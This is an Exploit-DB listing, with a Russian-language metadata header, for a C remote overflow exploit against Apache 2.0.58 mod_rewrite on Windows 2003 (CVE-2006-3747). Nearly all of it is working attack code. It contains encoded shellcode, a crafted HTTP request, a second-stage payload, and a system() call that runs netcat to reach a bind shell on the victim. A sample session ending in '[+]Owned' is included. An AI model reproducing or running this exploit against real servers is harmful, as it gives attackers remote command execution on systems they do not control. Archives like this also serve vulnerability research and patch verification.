Exploit Apache 2.0.58 mod_rewrite (Windows 2003) - Remote Overflow

[Exploiter]

EDB-ID

3996

Проверка EDB

1. Пройдено

Автор

FABIO/B0X

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

cve-2006-3747

Дата публикации

2007-05-26

/*
apache mod rewrite exploit (win32)

By: fabio/b0x (oc-192, old CoTS member)

Vuln details: http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded

Code: bind shell on port 4445, tested on apache 2.0.58 with mod_rewrite (windows 2003)
      original exploit (http://milw0rm.com/exploits/3680) only had a call back on 192.168.0.1, also
      was a little buggy, so shellcode was rewriten, thanks to http://metasploit.com/

Usage: ./apache hostname rewrite_path

Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman, ares, trickster, rebel and Pentaguard

Example: ./apache 192.168.0.253 test
[+]Preparing payload
[+]Connecting...
[+]Connected
[+]Sending...
[+]Sent
[+]Starting second stage...
[+]Connecting...
[+]Connected
[+]Sending...
[+]Sent
[+]Connecting to shell
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\Apache Group\Apache2>exit
exit
[+]Owned
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 80 
#define PORT2 4444
#define MAXDATASIZE 1024
char get[] = "/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90";
char shellcode[]= 
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x30\x41\x6b\x41\x41\x51\x41\x32\x41\x41\x32\x42"
"\x42\x42\x30\x42\x41\x58\x38\x41\x42\x50\x75\x7a\x49\x4b\x58\x56"
"\x36\x73\x30\x43\x30\x75\x50\x70\x53\x66\x35\x70\x56\x31\x47\x4c"
"\x4b\x50\x6c\x44\x64\x55\x48\x6c\x4b\x73\x75\x75\x6c\x4c\x4b\x61"
"\x44\x73\x35\x63\x48\x35\x51\x4b\x5a\x6c\x4b\x50\x4a\x37\x68\x6c"
"\x4b\x42\x7a\x77\x50\x37\x71\x4a\x4b\x6b\x53\x44\x72\x30\x49\x6e"
"\x6b\x44\x74\x6e\x6b\x56\x61\x68\x6e\x54\x71\x39\x6f\x6b\x4c\x70"
"\x31\x4b\x70\x6c\x6c\x67\x48\x6b\x50\x54\x34\x53\x37\x6b\x71\x68"
"\x4f\x44\x4d\x73\x31\x78\x47\x38\x6b\x38\x72\x45\x6b\x73\x4c\x31"
"\x34\x46\x74\x52\x55\x6b\x51\x6c\x4b\x63\x6a\x65\x74\x56\x61\x7a"
"\x4b\x32\x46\x4c\x4b\x76\x6c\x70\x4b\x4e\x6b\x30\x5a\x75\x4c\x67"
"\x71\x5a\x4b\x6e\x6b\x74\x44\x4e\x6b\x57\x71\x6b\x58\x68\x6b\x76"
"\x62\x50\x31\x4b\x70\x33\x6f\x53\x6e\x31\x4d\x63\x6b\x4b\x72\x65"
"\x58\x55\x50\x61\x4e\x31\x7a\x36\x50\x42\x79\x70\x64\x4e\x6b\x74"
"\x59\x6e\x6b\x43\x6b\x44\x4c\x4c\x4b\x51\x4b\x77\x6c\x4c\x4b\x35"
"\x4b\x6e\x6b\x31\x4b\x74\x48\x73\x63\x63\x58\x6c\x4e\x70\x4e\x44"
"\x4e\x78\x6c\x79\x6f\x4b\x66\x4d\x59\x6f\x37\x4b\x31\x78\x6c\x33"
"\x30\x77\x71\x73\x30\x47\x70\x36\x37\x53\x66\x51\x43\x4d\x59\x69"
"\x75\x39\x78\x56\x47\x57\x70\x37\x70\x37\x70\x6e\x70\x45\x51\x33"
"\x30\x37\x70\x4c\x76\x72\x39\x55\x48\x7a\x47\x6d\x74\x45\x49\x54"
"\x30\x4d\x39\x38\x65\x77\x39\x4b\x36\x50\x49\x6c\x64\x35\x4a\x52"
"\x50\x4f\x37\x6c\x64\x4c\x6d\x76\x4e\x4d\x39\x4b\x69\x45\x59\x49"
"\x65\x4e\x4d\x78\x4b\x4a\x4d\x6b\x4c\x77\x4b\x31\x47\x50\x53\x74"
"\x72\x61\x4f\x46\x53\x67\x42\x57\x70\x61\x4b\x6c\x4d\x42\x6b\x75"
"\x70\x70\x51\x6b\x4f\x7a\x77\x4b\x39\x4b\x6f\x4f\x79\x4f\x33\x4e"
"\x6d\x71\x65\x52\x34\x53\x5a\x53\x37\x30\x59\x50\x51\x66\x33\x4b"
"\x4f\x55\x64\x4c\x4f\x6b\x4f\x66\x35\x43\x34\x50\x59\x6e\x69\x47"
"\x74\x6c\x4e\x6a\x42\x58\x72\x54\x6b\x64\x67\x72\x74\x39\x6f\x76"
"\x57\x6b\x4f\x50\x55\x44\x70\x30\x31\x4b\x70\x50\x50\x30\x50\x50"
"\x50\x32\x70\x77\x30\x46\x30\x53\x70\x70\x50\x49\x6f\x63\x65\x66"
"\x4c\x4b\x39\x4f\x37\x30\x31\x6b\x6b\x33\x63\x71\x43\x42\x48\x54"
"\x42\x63\x30\x76\x71\x63\x6c\x4c\x49\x6d\x30\x52\x4a\x32\x30\x32"
"\x70\x36\x37\x59\x6f\x52\x75\x71\x34\x50\x53\x70\x57\x4b\x4f\x72"
"\x75\x44\x68\x61\x43\x62\x74\x33\x67\x59\x6f\x63\x65\x67\x50\x4c"
"\x49\x38\x47\x6d\x51\x5a\x4c\x53\x30\x36\x70\x53\x30\x33\x30\x4e"
"\x69\x4b\x53\x53\x5a\x43\x30\x72\x48\x53\x30\x34\x50\x33\x30\x33"
"\x30\x50\x53\x76\x37\x6b\x4f\x36\x35\x74\x58\x6e\x61\x4a\x4c\x67"
"\x70\x35\x54\x33\x30\x63\x30\x49\x6f\x78\x53\x41";


char finish[]= "HTTP/1.0\r\nHost: ";

char payload2[]=
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x18"
"\xd9\x03\x3a\x83\xeb\xfc\xe2\xf4\xe4\xb3\xe8\x77\xf0\x20\xfc\xc5"
"\xe7\xb9\x88\x56\x3c\xfd\x88\x7f\x24\x52\x7f\x3f\x60\xd8\xec\xb1"
"\x57\xc1\x88\x65\x38\xd8\xe8\x73\x93\xed\x88\x3b\xf6\xe8\xc3\xa3"
"\xb4\x5d\xc3\x4e\x1f\x18\xc9\x37\x19\x1b\xe8\xce\x23\x8d\x27\x12"
"\x6d\x3c\x88\x65\x3c\xd8\xe8\x5c\x93\xd5\x48\xb1\x47\xc5\x02\xd1"
"\x1b\xf5\x88\xb3\x74\xfd\x1f\x5b\xdb\xe8\xd8\x5e\x93\x9a\x33\xb1"
"\x58\xd5\x88\x4a\x04\x74\x88\x7a\x10\x87\x6b\xb4\x56\xd7\xef\x6a"
"\xe7\x0f\x65\x69\x7e\xb1\x30\x08\x70\xae\x70\x08\x47\x8d\xfc\xea"
"\x70\x12\xee\xc6\x23\x89\xfc\xec\x47\x50\xe6\x5c\x99\x34\x0b\x38"
"\x4d\xb3\x01\xc5\xc8\xb1\xda\x33\xed\x74\x54\xc5\xce\x8a\x50\x69"
"\x4b\x8a\x40\x69\x5b\x8a\xfc\xea\x7e\xb1\x12\x67\x7e\x8a\x8a\xdb"
"\x8d\xb1\xa7\x20\x68\x1e\x54\xc5\xce\xb3\x13\x6b\x4d\x26\xd3\x52"
"\xbc\x74\x2d\xd3\x4f\x26\xd5\x69\x4d\x26\xd3\x52\xfd\x90\x85\x73"
"\x4f\x26\xd5\x6a\x4c\x8d\x56\xc5\xc8\x4a\x6b\xdd\x61\x1f\x7a\x6d"
"\xe7\x0f\x56\xc5\xc8\xbf\x69\x5e\x7e\xb1\x60\x57\x91\x3c\x69\x6a"
"\x41\xf0\xcf\xb3\xff\xb3\x47\xb3\xfa\xe8\xc3\xc9\xb2\x27\x41\x17"
"\xe6\x9b\x2f\xa9\x95\xa3\x3b\x91\xb3\x72\x6b\x48\xe6\x6a\x15\xc5"
"\x6d\x9d\xfc\xec\x43\x8e\x51\x6b\x49\x88\x69\x3b\x49\x88\x56\x6b"
"\xe7\x09\x6b\x97\xc1\xdc\xcd\x69\xe7\x0f\x69\xc5\xe7\xee\xfc\xea"
"\x93\x8e\xff\xb9\xdc\xbd\xfc\xec\x4a\x26\xd3\x52\xe8\x53\x07\x65"
"\x4b\x26\xd5\xc5\xc8\xd9\x03\x3a";

int main(int argc, char *argv[])
{
    int sockfd, numbytes;  
    char buf[MAXDATASIZE];
    struct hostent *he;
    struct sockaddr_in their_addr;
    printf("  Exploit: apache mod rewrite exploit (win32)\n"
           "       By: fabio/b0x (oc-192, old CoTS member)\n"
           "Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman, ares, trickster, rebel and Pentaguard\n"
           );
    if (argc != 3) {
        printf("    Usage: ./apache hostname rewrite_path\n");
        exit(1);
    }
    printf("\n[+]Preparing payload\n");

    char payload[748];
    sprintf(payload,"GET /%s%s%s%s%s\r\n\r\n\0",argv[2],get,shellcode,finish,argv[1]);

    printf("[+]Connecting...\n");
    if ((he=gethostbyname(argv[1])) == NULL) {
        printf("[-]Cannot resolv hostname...\n");
        exit(1);
    }
    if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
        printf("[-]Socket error...\n");
        exit(1);
    }

    their_addr.sin_family = AF_INET;   
    their_addr.sin_port = htons(PORT);  
    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
    memset(their_addr.sin_zero, '\0', sizeof their_addr.sin_zero);
    if (connect(sockfd, (struct sockaddr *)&their_addr,
                                          sizeof(struct sockaddr)) == -1) {
        printf("[-]Unable to connect\n");
        exit(1);
    }
   printf("[+]Connected\n[+]Sending...\n");
   if (send(sockfd, payload, strlen(payload), 0) == -1){
    printf("[-]Unable to send\n");
    exit(1);
   }
   printf("[+]Sent\n");
   close(sockfd);
   printf("[+]Starting second stage...\n");
   sleep(3);
    printf("[+]Connecting...\n");
    if ((he=gethostbyname(argv[1])) == NULL) { 
        printf("[-]Cannot resolv hostname...\n");
        exit(1);
    }
    if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
        printf("[-]Socket error...\n");
        exit(1);
    }

    their_addr.sin_family = AF_INET;   
    their_addr.sin_port = htons(PORT2);
    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
    memset(their_addr.sin_zero, '\0', sizeof their_addr.sin_zero);
    if (connect(sockfd, (struct sockaddr *)&their_addr,
                                          sizeof(struct sockaddr)) == -1) {
        printf("[-]Unable to connect\n");
        exit(1);
    }
   printf("[+]Connected\n[+]Sending...\n");
   if (send(sockfd, payload2, strlen(payload2), 0) == -1){
    printf("[-]Unable to send\n");
    exit(1);
   }
   printf("[+]Sent\n[+]Connecting to shell\n");
   close(sockfd);


   sleep(3);
   int exec;
   char what[1024];
   sprintf(what," nc -w 10 %s 4445",argv[1]);
   exec=system(what);
   if (exec!=0){
    printf("[-]Not hacked\n");
   } else {
    printf("[+]Owned\n");
   }
   exit(1);
} 

// milw0rm.com [2007-05-26]